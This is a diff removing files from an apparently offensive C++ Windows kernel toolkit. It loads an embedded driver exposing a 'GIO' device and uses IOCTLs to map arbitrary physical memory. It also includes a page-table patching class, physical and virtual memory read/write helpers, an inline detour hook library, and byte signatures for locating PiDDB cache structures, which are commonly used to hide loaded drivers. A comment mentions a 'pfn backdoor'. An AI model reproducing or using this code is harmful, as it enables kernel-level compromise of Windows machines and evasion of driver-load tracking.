std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
|
|
||||||
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
|
|
||||||
|
|
||||||
//
|
|
||||||
// gets dirbase (not the PTE or PFN but actual physical address)
|
|
||||||
//
|
|
||||||
void* get_dirbase() const;
|
|
||||||
static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid);
|
|
||||||
|
|
||||||
void read_phys(void* buffer, void* addr, std::size_t size);
|
|
||||||
void write_phys(void* buffer, void* addr, std::size_t size);
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
T read_phys(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return {};
|
|
||||||
T buffer;
|
|
||||||
read_phys((void*)&buffer, addr, sizeof(T));
|
|
||||||
return buffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
void write_phys(void* addr, const T& data)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
write_phys((void*)&data, addr, sizeof(T));
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<void*, void*> read_virtual(void* buffer, void* addr, std::size_t size);
|
|
||||||
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
T read_virtual(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return {};
|
|
||||||
T buffer;
|
|
||||||
read_virtual((void*)&buffer, addr, sizeof(T));
|
|
||||||
return buffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
void write_virtual(void* addr, const T& data)
|
|
||||||
{
|
|
||||||
write_virtual((void*)&data, addr, sizeof(T));
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// linear address translation (not done by hyperspace mappings)
|
|
||||||
//
|
|
||||||
void* virt_to_phys(pt_entries& entries, void* addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// given an address fill pt entries with physical addresses and entry values.
|
|
||||||
//
|
|
||||||
bool hyperspace_entries(pt_entries& entries, void* addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// these are used for the pfn backdoor, this will be removed soon
|
|
||||||
//
|
|
||||||
void* set_page(void* addr);
|
|
||||||
void* get_page() const;
|
|
||||||
void page_accessed() const;
|
|
||||||
unsigned get_pid() const;
|
|
||||||
kernel_ctx* k_ctx;
|
|
||||||
private:
|
|
||||||
std::pair<void*, pte> genesis_page;
|
|
||||||
std::pair<ppte, pte> genesis_cursor;
|
|
||||||
void* dirbase;
|
|
||||||
|
|
||||||
unsigned pid;
|
|
||||||
unsigned short page_offset;
|
|
||||||
};
|
|
||||||
}
|
|
@ -1,80 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="Source Files">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files\kernel_ctx">
|
|
||||||
<UniqueIdentifier>{a64bd891-9c12-4f5a-88f3-b64df79dbb62}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files\mem_ctx">
|
|
||||||
<UniqueIdentifier>{2b6b0fd0-527b-4058-b2a8-0456e169c85c}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files\physmeme">
|
|
||||||
<UniqueIdentifier>{076cd5ea-f4af-40e7-b061-806ab272282c}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files\util">
|
|
||||||
<UniqueIdentifier>{efdecd69-b7b9-4d44-b106-2566baa07d86}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Source Files\kernel_ctx">
|
|
||||||
<UniqueIdentifier>{4a0efc40-4095-452d-abca-77079306be08}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Source Files\mem_ctx">
|
|
||||||
<UniqueIdentifier>{1ce9a6f1-49b4-498f-8794-c63005e49a5e}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Source Files\patch_ctx">
|
|
||||||
<UniqueIdentifier>{0db2f387-772b-4a72-abb5-4a56e0623722}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files\patch_ctx">
|
|
||||||
<UniqueIdentifier>{b6bfff55-573d-458f-a91a-383b0d0b9180}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="kernel_ctx\kernel_ctx.cpp">
|
|
||||||
<Filter>Source Files\kernel_ctx</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="mem_ctx\mem_ctx.cpp">
|
|
||||||
<Filter>Source Files\mem_ctx</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="patch_ctx\patch_ctx.cpp">
|
|
||||||
<Filter>Source Files\patch_ctx</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="main.cpp">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="kernel_ctx\kernel_ctx.h">
|
|
||||||
<Filter>Header Files\kernel_ctx</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="mem_ctx\mem_ctx.hpp">
|
|
||||||
<Filter>Header Files\mem_ctx</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="patch_ctx\patch_ctx.hpp">
|
|
||||||
<Filter>Header Files\patch_ctx</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="util\hook.hpp">
|
|
||||||
<Filter>Header Files\util</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="util\nt.hpp">
|
|
||||||
<Filter>Header Files\util</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="util\util.hpp">
|
|
||||||
<Filter>Header Files\util</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="physmeme\physmeme.hpp">
|
|
||||||
<Filter>Header Files\physmeme</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="loadup.hpp">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="raw_driver.hpp">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
@ -1,61 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "../mem_ctx/mem_ctx.hpp"
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
class patch_ctx
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
explicit patch_ctx(mem_ctx* mem_ctx);
|
|
||||||
|
|
||||||
//
|
|
||||||
// returns a virtual address mapping of the newly patched page(s).
|
|
||||||
//
|
|
||||||
void* patch(void* kernel_addr);
|
|
||||||
__forceinline void enable()
|
|
||||||
{
|
|
||||||
mapped_pml4e->pfn = new_pml4e.pfn;
|
|
||||||
}
|
|
||||||
|
|
||||||
__forceinline void disable()
|
|
||||||
{
|
|
||||||
mapped_pml4e->pfn = old_pml4e.pfn;
|
|
||||||
}
|
|
||||||
private:
|
|
||||||
|
|
||||||
//
|
|
||||||
// std::pair< physical page, virtual address >
|
|
||||||
//
|
|
||||||
std::pair<void*, void*> make_pdpt(const pt_entries& kernel_entries, void* kernel_addr);
|
|
||||||
std::pair<void*, void*> make_pd(const pt_entries& kernel_entries, void* kernel_addr);
|
|
||||||
std::pair<void*, void*> make_pt(const pt_entries& kernel_entries, void* kernel_addr);
|
|
||||||
std::pair<void*, void*> make_page(const pt_entries& kernel_entries, void* kernel_addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// context of the current process you want to patch.
|
|
||||||
//
|
|
||||||
mem_ctx* mem_ctx;
|
|
||||||
|
|
||||||
//
|
|
||||||
// newly created table entries and table pointers (pdpte, pde, pte)
|
|
||||||
//
|
|
||||||
pt_entries new_entries;
|
|
||||||
|
|
||||||
//
|
|
||||||
// old and new pml4e
|
|
||||||
//
|
|
||||||
pml4e new_pml4e;
|
|
||||||
pml4e old_pml4e;
|
|
||||||
|
|
||||||
//
|
|
||||||
// kernel address of the patch.
|
|
||||||
//
|
|
||||||
void* kernel_addr;
|
|
||||||
|
|
||||||
//
|
|
||||||
// pointer to the mapped pml4e
|
|
||||||
// used for enable/disable patch...
|
|
||||||
//
|
|
||||||
ppml4e mapped_pml4e;
|
|
||||||
};
|
|
||||||
}
|
|
@ -1,96 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
#include <mutex>
|
|
||||||
#include <cstdint>
|
|
||||||
#include <map>
|
|
||||||
|
|
||||||
#include "../util/util.hpp"
|
|
||||||
#include "../loadup.hpp"
|
|
||||||
#include "../raw_driver.hpp"
|
|
||||||
|
|
||||||
#pragma pack ( push, 1 )
|
|
||||||
typedef struct _GIOMAP
|
|
||||||
{
|
|
||||||
unsigned long interface_type;
|
|
||||||
unsigned long bus;
|
|
||||||
std::uintptr_t physical_address;
|
|
||||||
unsigned long io_space;
|
|
||||||
unsigned long size;
|
|
||||||
} GIOMAP;
|
|
||||||
#pragma pack ( pop )
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
inline std::string drv_key;
|
|
||||||
inline HANDLE drv_handle = NULL;
|
|
||||||
|
|
||||||
//
|
|
||||||
// please code this function depending on your method of physical read/write.
|
|
||||||
//
|
|
||||||
inline bool load_drv()
|
|
||||||
{
|
|
||||||
const auto [result, key] =
|
|
||||||
driver::load(
|
|
||||||
raw_driver,
|
|
||||||
sizeof(raw_driver)
|
|
||||||
);
|
|
||||||
|
|
||||||
drv_key = key;
|
|
||||||
drv_handle = CreateFile(
|
|
||||||
"\\\\.\\GIO",
|
|
||||||
GENERIC_READ | GENERIC_WRITE,
|
|
||||||
NULL,
|
|
||||||
NULL,
|
|
||||||
OPEN_EXISTING,
|
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
|
||||||
NULL
|
|
||||||
);
|
|
||||||
return drv_handle;
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// please code this function depending on your method of physical read/write.
|
|
||||||
//
|
|
||||||
inline bool unload_drv()
|
|
||||||
{
|
|
||||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// please code this function depending on your method of physical read/write.
|
|
||||||
//
|
|
||||||
inline std::uintptr_t map_phys(
|
|
||||||
std::uintptr_t addr,
|
|
||||||
std::size_t size
|
|
||||||
)
|
|
||||||
{
|
|
||||||
//--- ensure the validity of the address we are going to try and map
|
|
||||||
if (!util::is_valid(addr))
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
GIOMAP in_buffer = { 0, 0, addr, 0, size };
|
|
||||||
uintptr_t out_buffer[2] = { 0 };
|
|
||||||
unsigned long returned = 0;
|
|
||||||
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
|
||||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
|
||||||
return out_buffer[0];
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// please code this function depending on your method of physical read/write.
|
|
||||||
//
|
|
||||||
inline bool unmap_phys(
|
|
||||||
std::uintptr_t addr,
|
|
||||||
std::size_t size
|
|
||||||
)
|
|
||||||
{
|
|
||||||
uintptr_t in_buffer = addr;
|
|
||||||
uintptr_t out_buffer[2] = {sizeof(out_buffer)};
|
|
||||||
|
|
||||||
unsigned long returned = NULL;
|
|
||||||
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
|
||||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
|
||||||
return out_buffer[0];
|
|
||||||
}
|
|
||||||
}
|
|
File diff suppressed because it is too large
Load Diff
@ -1,190 +0,0 @@
|
|||||||
/*
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2020 xerox
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <map>
|
|
||||||
#include <atomic>
|
|
||||||
#include <memory>
|
|
||||||
|
|
||||||
#if _M_IX86
|
|
||||||
#define OFFSET_TO_ADDRESS 0x1
|
|
||||||
#elif _M_X64
|
|
||||||
#define OFFSET_TO_ADDRESS 0x2
|
|
||||||
#endif
|
|
||||||
|
|
||||||
namespace hook
|
|
||||||
{
|
|
||||||
static void write_to_readonly(void* addr, void* data, int size)
|
|
||||||
{
|
|
||||||
DWORD old_flags;
|
|
||||||
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
|
|
||||||
memcpy((void*)addr, data, size);
|
|
||||||
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
|
|
||||||
}
|
|
||||||
|
|
||||||
class detour
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
|
|
||||||
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
|
|
||||||
{
|
|
||||||
//setup hook
|
|
||||||
memcpy(
|
|
||||||
jmp_code + OFFSET_TO_ADDRESS,
|
|
||||||
&jmp_to,
|
|
||||||
sizeof(jmp_to)
|
|
||||||
);
|
|
||||||
|
|
||||||
//save bytes
|
|
||||||
memcpy(
|
|
||||||
org_bytes,
|
|
||||||
hook_addr,
|
|
||||||
sizeof(org_bytes)
|
|
||||||
);
|
|
||||||
if(enable)
|
|
||||||
install();
|
|
||||||
}
|
|
||||||
|
|
||||||
void install()
|
|
||||||
{
|
|
||||||
if (hook_installed.load())
|
|
||||||
return;
|
|
||||||
|
|
||||||
// mapped page is already read/write
|
|
||||||
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
|
|
||||||
hook_installed.exchange(true);
|
|
||||||
}
|
|
||||||
void uninstall()
|
|
||||||
{
|
|
||||||
if (!hook_installed.load())
|
|
||||||
return;
|
|
||||||
|
|
||||||
// mapped page is already read/write
|
|
||||||
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
|
|
||||||
hook_installed.exchange(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
~detour() { uninstall(); }
|
|
||||||
bool installed() { return hook_installed; }
|
|
||||||
void* hook_address() { return hook_addr; }
|
|
||||||
void* detour_address() { return detour_addr; }
|
|
||||||
private:
|
|
||||||
std::atomic<bool> hook_installed;
|
|
||||||
void *hook_addr, *detour_addr;
|
|
||||||
|
|
||||||
#if _M_IX86
|
|
||||||
/*
|
|
||||||
0: b8 ff ff ff ff mov eax, 0xffffffff
|
|
||||||
5: ff e0 jmp eax
|
|
||||||
*/
|
|
||||||
unsigned char jmp_code[7] = {
|
|
||||||
0xb8, 0x0, 0x0, 0x0, 0x0,
|
|
||||||
0xFF, 0xE0
|
|
||||||
};
|
|
||||||
#elif _M_X64
|
|
||||||
/*
|
|
||||||
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
|
|
||||||
7: ff e0 jmp rax
|
|
||||||
*/
|
|
||||||
unsigned char jmp_code[12] = {
|
|
||||||
0x48, 0xb8,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0x0,
|
|
||||||
0xff, 0xe0
|
|
||||||
};
|
|
||||||
#endif
|
|
||||||
std::uint8_t org_bytes[sizeof(jmp_code)];
|
|
||||||
};
|
|
||||||
|
|
||||||
static std::map<void*, std::unique_ptr<detour>> hooks{};
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Create Hook without needing to deal with objects
|
|
||||||
*/
|
|
||||||
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
|
|
||||||
{
|
|
||||||
if (!addr_to_hook)
|
|
||||||
return;
|
|
||||||
|
|
||||||
hooks.insert({
|
|
||||||
addr_to_hook,
|
|
||||||
std::make_unique<detour>(
|
|
||||||
addr_to_hook,
|
|
||||||
jmp_to_addr,
|
|
||||||
enable
|
|
||||||
)}
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Enable hook given the address to hook
|
|
||||||
*/
|
|
||||||
static void enable(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->install();
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Disable hook givent the address of the hook
|
|
||||||
*/
|
|
||||||
static void disable(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->uninstall();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Remove hook completely from vector
|
|
||||||
*/
|
|
||||||
static void remove(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->~detour();
|
|
||||||
hooks.erase(addr);
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,343 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#pragma comment(lib, "ntdll.lib")
|
|
||||||
|
|
||||||
#if _DEBUG
|
|
||||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
|
||||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
|
||||||
#else
|
|
||||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
|
||||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
|
|
||||||
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
|
|
||||||
|
|
||||||
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
|
|
||||||
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
|
|
||||||
|
|
||||||
#define MM_COPY_MEMORY_PHYSICAL 0x1
|
|
||||||
#define MM_COPY_MEMORY_VIRTUAL 0x2
|
|
||||||
|
|
||||||
constexpr auto PAGE_SIZE = 0x1000;
|
|
||||||
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
|
|
||||||
|
|
||||||
constexpr auto SystemModuleInformation = 11;
|
|
||||||
constexpr auto SystemHandleInformation = 16;
|
|
||||||
constexpr auto SystemExtendedHandleInformation = 64;
|
|
||||||
|
|
||||||
typedef struct PiDDBCacheEntry
|
|
||||||
{
|
|
||||||
LIST_ENTRY list;
|
|
||||||
UNICODE_STRING driver_name;
|
|
||||||
ULONG time_stamp;
|
|
||||||
NTSTATUS load_status;
|
|
||||||
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
|
|
||||||
}PIDCacheobj;
|
|
||||||
|
|
||||||
typedef struct _SYSTEM_HANDLE
|
|
||||||
{
|
|
||||||
PVOID Object;
|
|
||||||
HANDLE UniqueProcessId;
|
|
||||||
HANDLE HandleValue;
|
|
||||||
ULONG GrantedAccess;
|
|
||||||
USHORT CreatorBackTraceIndex;
|
|
||||||
USHORT ObjectTypeIndex;
|
|
||||||
ULONG HandleAttributes;
|
|
||||||
ULONG Reserved;
|
|
||||||
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
|
|
||||||
|
|
||||||
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
|
|
||||||
{
|
|
||||||
ULONG_PTR HandleCount;
|
|
||||||
ULONG_PTR Reserved;
|
|
||||||
SYSTEM_HANDLE Handles[1];
|
|
||||||
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
|
|
||||||
|
|
||||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
|
||||||
{
|
|
||||||
HANDLE Section;
|
|
||||||
PVOID MappedBase;
|
|
||||||
PVOID ImageBase;
|
|
||||||
ULONG ImageSize;
|
|
||||||
ULONG Flags;
|
|
||||||
USHORT LoadOrderIndex;
|
|
||||||
USHORT InitOrderIndex;
|
|
||||||
USHORT LoadCount;
|
|
||||||
USHORT OffsetToFileName;
|
|
||||||
UCHAR FullPathName[256];
|
|
||||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
|
||||||
|
|
||||||
typedef struct _RTL_PROCESS_MODULES
|
|
||||||
{
|
|
||||||
ULONG NumberOfModules;
|
|
||||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
|
||||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
|
||||||
|
|
||||||
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
|
||||||
|
|
||||||
typedef struct _MM_COPY_ADDRESS {
|
|
||||||
union {
|
|
||||||
PVOID VirtualAddress;
|
|
||||||
PHYSICAL_ADDRESS PhysicalAddress;
|
|
||||||
};
|
|
||||||
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
|
|
||||||
|
|
||||||
typedef CCHAR KPROCESSOR_MODE;
|
|
||||||
typedef enum _MODE {
|
|
||||||
KernelMode,
|
|
||||||
UserMode,
|
|
||||||
MaximumMode
|
|
||||||
} MODE;
|
|
||||||
|
|
||||||
typedef enum _POOL_TYPE {
|
|
||||||
NonPagedPool,
|
|
||||||
NonPagedPoolExecute,
|
|
||||||
PagedPool,
|
|
||||||
NonPagedPoolMustSucceed,
|
|
||||||
DontUseThisType,
|
|
||||||
NonPagedPoolCacheAligned,
|
|
||||||
PagedPoolCacheAligned,
|
|
||||||
NonPagedPoolCacheAlignedMustS,
|
|
||||||
MaxPoolType,
|
|
||||||
NonPagedPoolBase,
|
|
||||||
NonPagedPoolBaseMustSucceed,
|
|
||||||
NonPagedPoolBaseCacheAligned,
|
|
||||||
NonPagedPoolBaseCacheAlignedMustS,
|
|
||||||
NonPagedPoolSession,
|
|
||||||
PagedPoolSession,
|
|
||||||
NonPagedPoolMustSucceedSession,
|
|
||||||
DontUseThisTypeSession,
|
|
||||||
NonPagedPoolCacheAlignedSession,
|
|
||||||
PagedPoolCacheAlignedSession,
|
|
||||||
NonPagedPoolCacheAlignedMustSSession,
|
|
||||||
NonPagedPoolNx,
|
|
||||||
NonPagedPoolNxCacheAligned,
|
|
||||||
NonPagedPoolSessionNx
|
|
||||||
} POOL_TYPE;
|
|
||||||
|
|
||||||
typedef enum _MEMORY_CACHING_TYPE {
|
|
||||||
MmNonCached,
|
|
||||||
MmCached,
|
|
||||||
MmWriteCombined,
|
|
||||||
MmHardwareCoherentCached,
|
|
||||||
MmNonCachedUnordered,
|
|
||||||
MmUSWCCached,
|
|
||||||
MmMaximumCacheType,
|
|
||||||
MmNotMapped
|
|
||||||
} MEMORY_CACHING_TYPE;
|
|
||||||
|
|
||||||
typedef struct _KAPC_STATE {
|
|
||||||
LIST_ENTRY ApcListHead[MaximumMode];
|
|
||||||
struct _KPROCESS* Process;
|
|
||||||
union {
|
|
||||||
UCHAR InProgressFlags;
|
|
||||||
struct {
|
|
||||||
BOOLEAN KernelApcInProgress : 1;
|
|
||||||
BOOLEAN SpecialApcInProgress : 1;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
BOOLEAN KernelApcPending;
|
|
||||||
union {
|
|
||||||
BOOLEAN UserApcPendingAll;
|
|
||||||
struct {
|
|
||||||
BOOLEAN SpecialUserApcPending : 1;
|
|
||||||
BOOLEAN UserApcPending : 1;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
} KAPC_STATE, * PKAPC_STATE, * PRKAPC_STATE;
|
|
||||||
|
|
||||||
using PEPROCESS = PVOID;
|
|
||||||
|
|
||||||
using ZwOpenProcess = NTSYSAPI NTSTATUS (__fastcall*)(
|
|
||||||
PHANDLE ProcessHandle,
|
|
||||||
ACCESS_MASK DesiredAccess,
|
|
||||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
||||||
CLIENT_ID* ClientId
|
|
||||||
);
|
|
||||||
|
|
||||||
using ZwAllocateVirtualMemory = NTSTATUS(__fastcall*)(
|
|
||||||
_In_ HANDLE ProcessHandle,
|
|
||||||
_Inout_ PVOID* BaseAddress,
|
|
||||||
_In_ ULONG_PTR ZeroBits,
|
|
||||||
_Inout_ PSIZE_T RegionSize,
|
|
||||||
_In_ ULONG AllocationType,
|
|
||||||
_In_ ULONG Protect
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmCopyVirtualMemory = NTSTATUS (__fastcall*)(
|
|
||||||
IN PEPROCESS FromProcess,
|
|
||||||
IN PVOID FromAddress,
|
|
||||||
IN PEPROCESS ToProcess,
|
|
||||||
OUT PVOID ToAddress,
|
|
||||||
IN SIZE_T BufferSize,
|
|
||||||
IN KPROCESSOR_MODE PreviousMode,
|
|
||||||
OUT PSIZE_T NumberOfBytesCopied
|
|
||||||
);
|
|
||||||
|
|
||||||
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
|
|
||||||
HANDLE ProcessId,
|
|
||||||
PEPROCESS* Process
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmCopyMemory = NTSTATUS(__stdcall*)(
|
|
||||||
PVOID,
|
|
||||||
MM_COPY_ADDRESS,
|
|
||||||
SIZE_T,
|
|
||||||
ULONG,
|
|
||||||
PSIZE_T
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmGetVirtualForPhysical = PVOID(__fastcall*)(
|
|
||||||
__in PHYSICAL_ADDRESS PhysicalAddress
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmGetPhysicalAddress = PVOID (__fastcall*)(
|
|
||||||
__in PVOID BaseAddress
|
|
||||||
);
|
|
||||||
|
|
||||||
using ExAllocatePool = PVOID (__fastcall*) (
|
|
||||||
POOL_TYPE PoolType,
|
|
||||||
SIZE_T NumberOfBytes
|
|
||||||
);
|
|
||||||
|
|
||||||
using IoAllocateMdl = PVOID(__fastcall*)(
|
|
||||||
__drv_aliasesMem PVOID VirtualAddress,
|
|
||||||
ULONG Length,
|
|
||||||
BOOLEAN SecondaryBuffer,
|
|
||||||
BOOLEAN ChargeQuota,
|
|
||||||
PVOID Irp
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmBuildMdlForNonPagedPool = void (__fastcall*)(
|
|
||||||
PVOID MemoryDescriptorList
|
|
||||||
);
|
|
||||||
|
|
||||||
using MmMapLockedPagesSpecifyCache = PVOID (__fastcall*)(
|
|
||||||
PVOID MemoryDescriptorList,
|
|
||||||
KPROCESSOR_MODE AccessMode,
|
|
||||||
MEMORY_CACHING_TYPE CacheType,
|
|
||||||
PVOID RequestedAddress,
|
|
||||||
ULONG BugCheckOnFailure,
|
|
||||||
ULONG Priority
|
|
||||||
);
|
|
||||||
|
|
||||||
using ExFreePool = void* (__fastcall*)(
|
|
||||||
PVOID P
|
|
||||||
);
|
|
||||||
|
